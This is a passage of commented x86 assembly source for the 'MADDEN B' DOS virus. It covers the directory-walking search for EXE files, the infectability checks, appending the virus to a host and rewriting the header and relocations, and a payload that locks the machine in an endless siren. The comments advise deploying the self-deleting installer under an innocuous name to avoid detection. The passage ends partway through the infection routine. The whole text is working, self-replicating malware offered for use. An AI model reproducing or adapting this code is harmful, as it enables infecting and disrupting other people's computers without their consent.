;The MADDEN B virus is an EXE file infector which can jump from directory to
|
||||||
|
;directory and disk to disk. It attaches itself to the end of a file and
|
||||||
|
;modifies the EXE file header so that it gets control first, before the host
|
||||||
|
;program. When it is done doing its job, it passes control to the host program,
|
||||||
|
;so that the host executes without a hint that the virus is there.
|
||||||
|
|
||||||
|
|
||||||
|
.SEQ ;segments must appear in sequential order
|
||||||
|
;to simulate conditions in actual active virus
|
||||||
|
|
||||||
|
|
||||||
|
;MGROUP GROUP HOSTSEG,HSTACK ;Host stack and code segments grouped together
|
||||||
|
|
||||||
|
;HOSTSEG program code segment. The virus gains control before this routine and
|
||||||
|
;attaches itself to another EXE file. As such, the host program for this
|
||||||
|
;installer simply tries to delete itself off of disk and terminates. That is
|
||||||
|
;worthwhile if you want to infect a system with the virus without getting
|
||||||
|
;caught. Just execute the program that infects, and it disappears without a
|
||||||
|
;trace. You might want to name the program something more innocuous, though.
|
||||||
|
;MADDEN B also locks the pc into a 'siren' warble when it runs out
|
||||||
|
;of files to infect. MADDEN, included in this archive plays a fast country
|
||||||
|
;song. (MADDEN will assemble to an .file using a86, then link to produce
|
||||||
|
;infected .exe form)
|
||||||
|
|
||||||
|
HOSTSEG SEGMENT BYTE
|
||||||
|
ASSUME CS:HOSTSEG,SS:HSTACK
|
||||||
|
|
||||||
|
PGMSTR DB 'MADDENB.EXE',0
|
||||||
|
|
||||||
|
HOST:
|
||||||
|
mov ax,cs ;we want DS=CS here
|
||||||
|
mov ds,ax
|
||||||
|
mov dx,OFFSET PGMSTR
|
||||||
|
mov ah,41H
|
||||||
|
int 21H ;delete this exe file
|
||||||
|
mov ah,4CH
|
||||||
|
mov al,0
|
||||||
|
int 21H ;terminate normally
|
||||||
|
HOSTSEG ENDS
|
||||||
|
|
||||||
|
|
||||||
|
;Host program stack segment
|
||||||
|
|
||||||
|
HSTACK SEGMENT PARA STACK
|
||||||
|
db 100H dup (?) ;100 bytes long
|
||||||
|
HSTACK ENDS
|
||||||
|
|
||||||
|
;------------------------------------------------------------------------
|
||||||
|
;This is the virus itself
|
||||||
|
|
||||||
|
STACKSIZE EQU 100H ;size of stack for the virus
|
||||||
|
NUMRELS EQU 2 ;number of relocatables in the virus, which must go in the relocatable pointer table
|
||||||
|
|
||||||
|
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together
|
||||||
|
|
||||||
|
;MADDEN Virus code segment. This gains control first, before the host. As this
|
||||||
|
;ASM file is layed out, this program will look exactly like a simple program
|
||||||
|
;that was infected by the virus.
|
||||||
|
|
||||||
|
VSEG SEGMENT PARA
|
||||||
|
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
|
||||||
|
|
||||||
|
;data storage area comes before any code
|
||||||
|
VIRUSID DW 0C8AAH ;identifies virus
|
||||||
|
OLDDTA DD 0 ;old DTA segment and offset
|
||||||
|
DTA1 DB 2BH dup (?) ;new disk transfer area
|
||||||
|
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
|
||||||
|
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
|
||||||
|
EXEFILE DB '\*.EXE',0 ;search string for an exe file
|
||||||
|
ALLFILE DB '\*.*',0 ;search string for any file
|
||||||
|
USEFILE DB 78 dup (?) ;area to put valid file path
|
||||||
|
LEVEL DB 0 ;depth to search directories for a file
|
||||||
|
HANDLE DW 0 ;file handle
|
||||||
|
FATTR DB 0 ;old file attribute storage area
|
||||||
|
FTIME DW 0 ;old file time stamp storage area
|
||||||
|
FDATE DW 0 ;old file date stamp storage area
|
||||||
|
FSIZE DD 0 ;file size storage area
|
||||||
|
VIDC DW 0 ;storage area to put VIRUSID from new host .EXE in, to check if virus already there
|
||||||
|
VCODE DB 1 ;identifies this version
|
||||||
|
COUNT1 DW 8 ;delay counts used by 'siren' routine
|
||||||
|
COUNT2 DW 3
|
||||||
|
COUNT3 DW 20
|
||||||
|
COUNT4 DW 10
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;MADDEN B virus main routine starts here
|
||||||
|
VIRUS:
|
||||||
|
push ax ;save startup info in ax
|
||||||
|
mov ax,cs
|
||||||
|
mov ds,ax ;set up DS=CS for the virus
|
||||||
|
mov ax,es ;get PSP Seg
|
||||||
|
mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg in case of abort without getting it
|
||||||
|
call SHOULDRUN ;run only when certain conditions met signalled by z set
|
||||||
|
jnz REL1 ;conditions aren't met, go execute host program
|
||||||
|
call SETSR ;modify SHOULDRUN procedure to activate conditions
|
||||||
|
call NEW_DTA ;set up a new DTA location
|
||||||
|
call FIND_FILE ;get an exe file to attack
|
||||||
|
jnz SIREN ;returned nz - no valid files left, siren time!
|
||||||
|
call SAVE_ATTRIBUTE ;save the file attributes and leave file opened in r/w mode
|
||||||
|
call INFECT ;move program code to file we found to attack
|
||||||
|
call REST_ATTRIBUTE ;restore the original file attributes and close the file
|
||||||
|
FINISH: call RESTORE_DTA ;restore the DTA to its original value at startup
|
||||||
|
pop ax ;restore startup value of ax
|
||||||
|
REL1: ;relocatable marker for host stack segment
|
||||||
|
mov bx,HSTACK ;set up host program stack segment (ax=segment)
|
||||||
|
cli ;interrupts off while changing stack
|
||||||
|
mov ss,bx
|
||||||
|
REL1A: ;marker for host stack pointer
|
||||||
|
mov sp,OFFSET HSTACK
|
||||||
|
mov es,WORD PTR [OLDDTA+2] ;set up ES correctly
|
||||||
|
mov ds,WORD PTR [OLDDTA+2] ;and DS
|
||||||
|
sti ;interrupts back on
|
||||||
|
REL2: ;relocatable marker for host code segment
|
||||||
|
jmp FAR PTR HOST ;begin execution of host program
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;First Level - Find a file which passes FILE_OK
|
||||||
|
;
|
||||||
|
;This routine does a complex directory search to find an EXE file in the
|
||||||
|
;current directory, one of its subdirectories, or the root directory or one
|
||||||
|
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||||
|
;If you want to change the depth of the search, make sure to allocate enough
|
||||||
|
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||||
|
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||||
|
;functions 4EH and 4FH) on each level.
|
||||||
|
;
|
||||||
|
FIND_FILE:
|
||||||
|
mov al,'\' ;set up current directory path in USEFILE
|
||||||
|
mov BYTE PTR [USEFILE],al
|
||||||
|
mov si,OFFSET USEFILE+1
|
||||||
|
xor dl,dl
|
||||||
|
mov ah,47H
|
||||||
|
int 21H ;get current dir, USEFILE= \dir
|
||||||
|
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||||
|
jnz FF2 ;not the root
|
||||||
|
xor al,al ;make correction for root directory,
|
||||||
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||||
|
FF2: mov al,2
|
||||||
|
mov [LEVEL],al ;search 2 subdirs deep
|
||||||
|
call FINDBR ;attempt to locate a valid file
|
||||||
|
jz FF3 ;found one - exit
|
||||||
|
xor al,al ;nope - try the root directory
|
||||||
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||||
|
inc al ;al=1
|
||||||
|
mov [LEVEL],al ;search one subdir deep
|
||||||
|
call FINDBR ;attempt to find file
|
||||||
|
FF3:
|
||||||
|
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||||
|
|
||||||
|
;***************************************************************************
|
||||||
|
;This routine enables MADDEN B virus to sound a siren
|
||||||
|
;when it can't find a file to infect
|
||||||
|
;**************************************************************************
|
||||||
|
SIREN:
|
||||||
|
cli ;no interrupts
|
||||||
|
mov bp,15 ;we want to do hole thing 15 times
|
||||||
|
mov al,10110110xb ;set up channel 2
|
||||||
|
out 43h,al ;send it to port
|
||||||
|
AGIN: mov bx,500 ;start frequency high
|
||||||
|
BACKERX:mov ax,bx ;place it in (ax)
|
||||||
|
out 42h,al ;send LSB first
|
||||||
|
mov al,ah ;move MSB into al
|
||||||
|
out 42h,al ;send it next
|
||||||
|
in al,61h ;get value from port
|
||||||
|
or al,00000011xb ;ORing it will turn on speaker
|
||||||
|
out 61h,al ;send number
|
||||||
|
mov cx,COUNT1 ;number of delay loops
|
||||||
|
LOOPERX:loop LOOPERX ;so we can hear sound
|
||||||
|
inc bx ;increment (bx) lowers frequency pitch
|
||||||
|
cmp bx,4000 ;have we reached 4000
|
||||||
|
jnz BACKERX ;if not do again
|
||||||
|
BACKERY:mov ax,bx ;if not put (bx) in (ax)
|
||||||
|
out 42h,al ;send LSB to port
|
||||||
|
mov al,ah ;place MSB in al
|
||||||
|
out 42h,al ;send it now
|
||||||
|
in al,61h ;get value from port
|
||||||
|
or al,00000011xb ;lets OR it
|
||||||
|
out 61h,al ;time to turn on speaker
|
||||||
|
mov cx,COUNT2 ;loop count
|
||||||
|
LOOPERY:loop LOOPERY ;delay so we can hear sound
|
||||||
|
dec bx ;decrementing (bx) rises frequency pitch
|
||||||
|
cmp bx,500 ;have we reach 500
|
||||||
|
jnz BACKERY ;if not go back
|
||||||
|
mov si,COUNT3 ;place longer delay in (si)
|
||||||
|
mov di,COUNT4 ;place longer delay in (di)
|
||||||
|
push si ;push it on the stack
|
||||||
|
push di ;push it on the stack
|
||||||
|
mov si,COUNT1 ;place first delay in (si)
|
||||||
|
mov di,COUNT2 ;place second delay in (di)
|
||||||
|
mov COUNT3,si ;save 1st in COUNT3 for next exchange
|
||||||
|
mov COUNT4,di ;save 2nd in COUNT4 for next exchange
|
||||||
|
pop di ;pop longer delay off stack
|
||||||
|
pop si ;pop longer delay off stack
|
||||||
|
mov COUNT2,di ;place it in the second
|
||||||
|
mov COUNT1,si ;place it in the first
|
||||||
|
dec bp ;decrement repeat count
|
||||||
|
jnz AGIN ;if not = 0 do hole thing again
|
||||||
|
in al,61h ;we be done
|
||||||
|
and al,11111100xb ;this number will turn speaker off
|
||||||
|
out 61h,al ;send it
|
||||||
|
sti ;enable interrupts
|
||||||
|
jmp SIREN
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;SEARCH FUNCTION
|
||||||
|
;---------------------------------------------------------------------------
|
||||||
|
;Second Level - Find in a branch
|
||||||
|
;
|
||||||
|
;This function searches the directory specified in USEFILE for EXE files.
|
||||||
|
;after searching the specified directory, it searches subdirectories to the
|
||||||
|
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||||
|
;routine exits with Z set and leaves the file and path in USEFILE
|
||||||
|
;
|
||||||
|
FINDBR:
|
||||||
|
call FINDEXE ;search current dir for EXE first
|
||||||
|
jnc FBE3 ;found it - exit
|
||||||
|
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||||
|
jz FBE1 ;no - exit
|
||||||
|
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||||
|
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||||
|
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||||
|
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||||
|
inc di
|
||||||
|
push di ;store pointer to first *
|
||||||
|
call FIRSTDIR ;get first subdirectory
|
||||||
|
jnz FBE ;couldn't find it, so quit
|
||||||
|
FB1: ;otherwise, check it out
|
||||||
|
pop di ;strip \*.* off of USEFILE
|
||||||
|
xor al,al
|
||||||
|
stosb
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov bx,OFFSET DTA2+1EH
|
||||||
|
mov al,[LEVEL]
|
||||||
|
mov dl,2BH ;compute correct DTA location for subdir name
|
||||||
|
mul dl ;which depends on the depth we're at in the search
|
||||||
|
add bx,ax ;bx points to directory name
|
||||||
|
mov si,bx
|
||||||
|
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||||
|
push di ;save position of first letter in sub_dir name
|
||||||
|
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||||
|
jz FBE2 ;if successful, exit
|
||||||
|
call NEXTDIR ;get next subdirectory in this directory
|
||||||
|
jz FB1 ;go check it if search successful
|
||||||
|
FBE: ;else exit, NZ set, cleaned up
|
||||||
|
inc [LEVEL] ;increment the level counter before exit
|
||||||
|
pop di ;strip any path or file spec off of original
|
||||||
|
xor al,al ;directory path
|
||||||
|
stosb
|
||||||
|
FBE1: mov al,1 ;return with NZ set
|
||||||
|
or al,al
|
||||||
|
ret
|
||||||
|
|
||||||
|
FBE2: pop di ;successful exit, pull this off the stack
|
||||||
|
FBE3: xor al,al ;and set Z
|
||||||
|
ret ;exit
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Third Level - Part A - Find an EXE file
|
||||||
|
;
|
||||||
|
;This function searches the path in USEFILE for an EXE file which passes
|
||||||
|
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||||
|
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||||
|
;with the c flag set. It will search a whole directory before giving up.
|
||||||
|
;
|
||||||
|
FINDEXE:
|
||||||
|
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov si,OFFSET EXEFILE
|
||||||
|
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||||
|
push di ;save position of '\' before '*.EXE'
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cx,3FH ;search first for any file
|
||||||
|
mov ah,4EH
|
||||||
|
int 21H
|
||||||
|
NEXTEXE:
|
||||||
|
or al,al ;is DOS return OK?
|
||||||
|
jnz FEC ;no - quit with C set
|
||||||
|
pop di
|
||||||
|
inc di
|
||||||
|
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov si,OFFSET DTA1+1EH
|
||||||
|
call CONCAT ;setup file name '\dir\filename.exe'
|
||||||
|
dec di
|
||||||
|
push di
|
||||||
|
call FILE_OK ;yes - is this a good file to use?
|
||||||
|
jnc FENC ;yes - valid file found - exit with c reset
|
||||||
|
mov ah,4FH
|
||||||
|
int 21H ;do find next
|
||||||
|
jmp SHORT NEXTEXE ;and go test it for validity
|
||||||
|
|
||||||
|
FEC: ;no valid file found, return with C set
|
||||||
|
pop di
|
||||||
|
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||||
|
stc
|
||||||
|
ret
|
||||||
|
FENC: ;valid file found, return with NC
|
||||||
|
pop di
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Third Level - Part B - Find a subdirectory
|
||||||
|
;
|
||||||
|
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||||
|
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||||
|
;if not, it returns with NZ set.
|
||||||
|
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||||
|
;NEXTDIR, which does the search next.
|
||||||
|
;
|
||||||
|
FIRSTDIR:
|
||||||
|
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||||
|
push dx ;save it
|
||||||
|
mov ah,1AH ;set DTA
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cx,10H ;search for a directory
|
||||||
|
mov ah,4EH ;do search first function
|
||||||
|
int 21H
|
||||||
|
NEXTD1:
|
||||||
|
pop bx ;get pointer to search table (DTA)
|
||||||
|
or al,al ;successful search?
|
||||||
|
jnz NEXTD3 ;no, quit with NZ set
|
||||||
|
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||||
|
jz NEXTDIR ;no, find another
|
||||||
|
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||||
|
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||||
|
;else it was dir header entry, so fall through to next
|
||||||
|
NEXTDIR: ;second entry point for search next
|
||||||
|
call GET_DTA ;get proper DTA address again - may not be set up
|
||||||
|
push dx
|
||||||
|
mov ah,1AH ;set DTA
|
||||||
|
int 21H
|
||||||
|
mov ah,4FH
|
||||||
|
int 21H ;do find next
|
||||||
|
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||||
|
|
||||||
|
NEXTD2:
|
||||||
|
xor al,al ;successful exit, set Z flag
|
||||||
|
NEXTD3:
|
||||||
|
ret ;exit routine
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||||
|
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||||
|
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||||
|
;higher level search, and we don't want the higher level being ruined by
|
||||||
|
;corrupted data.
|
||||||
|
;
|
||||||
|
GET_DTA:
|
||||||
|
mov dx,OFFSET DTA2
|
||||||
|
mov al,2BH
|
||||||
|
mul [LEVEL]
|
||||||
|
add dx,ax ;return with dx= proper dta offset
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||||
|
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||||
|
;destination (or the first character of the second string, after moved).
|
||||||
|
;
|
||||||
|
CONCAT:
|
||||||
|
mov al,byte ptr es:[di] ;find the end of string 1
|
||||||
|
inc di
|
||||||
|
or al,al
|
||||||
|
jnz CONCAT
|
||||||
|
dec di ;di points to the null at the end
|
||||||
|
push di ;save it to return to the caller
|
||||||
|
CONCAT2:
|
||||||
|
cld
|
||||||
|
lodsb ;move second string to end of first
|
||||||
|
stosb
|
||||||
|
or al,al
|
||||||
|
jnz CONCAT2
|
||||||
|
pop di ;and restore di to point to end of string 1
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||||
|
;if so return nc, else return c
|
||||||
|
;What makes an EXE file useable?:
|
||||||
|
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||||
|
; are the first two bytes in the file.)
|
||||||
|
; b) The Overlay Number field in the EXE header must be zero.
|
||||||
|
; c) There must be room in the relocatable table for NUMRELS
|
||||||
|
; more relocatables without enlarging it.
|
||||||
|
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||||
|
; the initial CS:0000 of the test file. If it does, the virus
|
||||||
|
; is probably already in that file, so we skip it.
|
||||||
|
;
|
||||||
|
FILE_OK:
|
||||||
|
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||||
|
jc OK_END ;error in reading the file, so quit
|
||||||
|
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||||
|
jc OK_END ;no - exit with c set
|
||||||
|
call REL_ROOM ;is there room in the relocatable table?
|
||||||
|
jc OK_END ;no - exit
|
||||||
|
call IS_ID_THERE ;is id at CS:0000?
|
||||||
|
OK_END: ret ;return with c flag set properly
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||||
|
;number is anything but zero.
|
||||||
|
CHECK_SIG_OVERLAY:
|
||||||
|
mov al,'M' ;check the signature first
|
||||||
|
mov ah,'Z'
|
||||||
|
cmp ax,WORD PTR [EXE_HDR]
|
||||||
|
jz CSO_1 ;jump if OK
|
||||||
|
stc ;else set carry and exit
|
||||||
|
ret
|
||||||
|
CSO_1: xor ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||||
|
ret ;c is set if it's anything but 0
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||||
|
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||||
|
;
|
||||||
|
GET_EXE_HEADER:
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov ax,3D02H ;r/w access open file
|
||||||
|
int 21H
|
||||||
|
jc RE_RET ;error opening - C set - quit without closing
|
||||||
|
mov [HANDLE],ax ;else save file handle
|
||||||
|
mov bx,ax ;handle to bx
|
||||||
|
mov cx,1CH ;read 28 byte EXE file header
|
||||||
|
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||||
|
mov ah,3FH
|
||||||
|
int 21H
|
||||||
|
RE_RET: ret ;return with c set properly
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function determines if there are at least NUMRELS openings in the
|
||||||
|
;current relocatable table in USEFILE. If there are, it returns with
|
||||||
|
;carry reset, otherwise it returns with carry set. The computation
|
||||||
|
;this routine does is to compare whether
|
||||||
|
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||||
|
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||||
|
;
|
||||||
|
REL_ROOM:
|
||||||
|
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||||
|
add ax,ax
|
||||||
|
add ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||||
|
add ax,ax
|
||||||
|
add ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||||
|
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||||
|
RR_RET: ret ;exit with carry set properly
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||||
|
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||||
|
;it returns c reset.
|
||||||
|
;
|
||||||
|
IS_ID_THERE:
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||||
|
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||||
|
mov dx,16
|
||||||
|
mul dx
|
||||||
|
mov cx,dx
|
||||||
|
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer, relative to beginning
|
||||||
|
int 21H
|
||||||
|
mov ah,3FH
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov dx,OFFSET VIDC
|
||||||
|
mov cx,2 ;read 2 bytes into VIDC
|
||||||
|
int 21H
|
||||||
|
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||||
|
mov ax,[VIDC]
|
||||||
|
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||||
|
clc
|
||||||
|
jnz II_RET ;if not, then virus is not already in this file
|
||||||
|
stc ;else it is probably there already
|
||||||
|
II_RET: ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||||
|
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||||
|
SETBDY:
|
||||||
|
mov al,BYTE PTR [FSIZE]
|
||||||
|
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||||
|
jz SB_E ;all set - exit
|
||||||
|
mov cx,10H ;no - write any old bytes to even it up
|
||||||
|
sub cl,al ;number of bytes to write in cx
|
||||||
|
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||||
|
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||||
|
adc WORD PTR [FSIZE+2],0
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
SB_E: ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine moves the virus (this program) to the end of the EXE file
|
||||||
|
;Basically, it just copies everything here to there, and then goes and
|
||||||
|
;adjusts the EXE file header and two relocatables in the program, so that
|
||||||
|
;it will work in the new environment. It also makes sure the virus starts
|
||||||
|
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||||
|
;
|
||||||
|
INFECT:
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer, relative to beginning
|
||||||
|
int 21H ;go to end of file
|
||||||
|
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||||
|
mov cx,OFFSET FINAL ;last byte of code
|
||||||
|
xor dx,dx ;first byte of code, DS:DX
|
||||||
|
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||||
|
inc bx
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx is that number
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to 1st relocatable
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||||
|
mov bx,[HANDLE] ;from the EXE header
|
||||||
|
mov cx,2
|
||||||
|
mov ah,40H ;and write it to relocatable REL1+1
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||||
|
inc bx ;at FSIZE+REL1A+1
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to place to write SP to
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||||
|
mov bx,[HANDLE] ;from EXE header
|
||||||
|
mov cx,2
|
||||||
|
mov ah,40H ;and write it where it belongs
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||||
|
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer relavtive to start of file
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov cx,4
|
||||||
|
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||||
|
int 21H
|
||||||
|
;done writing relocatable vectors
|
||||||
|
;so now adjust the EXE header values
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to start of file
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||||
|
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||||
|
shr ax,cl
|
||||||
|
mov bx,WORD PTR [FSIZE+2]
|
||||||
|
and bl,0FH
|
||||||
|
mov cl,4
|
||||||
|
shl bl,cl
|
||||||
|
add ah,bl
|
||||||
|
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||||
|
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||||
|
mov bx,OFFSET FINAL ;compute new initial SS
|
||||||
|
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||||
|
mov cl,4
|
||||||
|
shr bx,cl
|
||||||
|
add ax,bx
|
||||||
|
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||||
|
mov ax,OFFSET VIRUS ;get initial IP
|
||||||
|
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||||
|
mov ax,STACKSIZE ;get initial SP
|
||||||
|
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||||
|
mov dx,WORD PTR [FSIZE+2]
|
||||||
|
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||||
|
mov bx,OFFSET FINAL
|
||||||
|
add ax,bx
|
||||||
|
xor bx,bx
|
||||||
|
adc dx,bx ;put it in ax:dx
|
||||||
|
add ax,200H ;and set up the new page count
|
||||||
|
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||||
|
push ax
|
||||||
|
mov cl,9
|
||||||
|
shr ax,cl
|
||||||
|
mov cl,7
|
||||||
|
shl dx,cl
|
||||||
|
add ax,dx
|
||||||
|
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||||
|
pop ax
|
||||||
|
and ax,1FFH ;now calculate last page size
|
||||||
|
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||||
|
mov ax,NUMRELS ;adjust relocatables counter
|
||||||
|
add WORD PTR [EXE_HDR+6],ax
|
||||||
|
mov cx,1CH ;and save data at start of file
|
||||||
|
mov dx,OFFSET EXE_HDR
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||||
|
dec ax ;in order to calculate location of
|
||||||
|
dec ax ;where to add relocatables
|
||||||
|
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||||
|
mul bx
|
||||||
|
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||||
|
mov bx,0
|
||||||
|
adc dx,bx ;dx:ax=end of old table in file
|
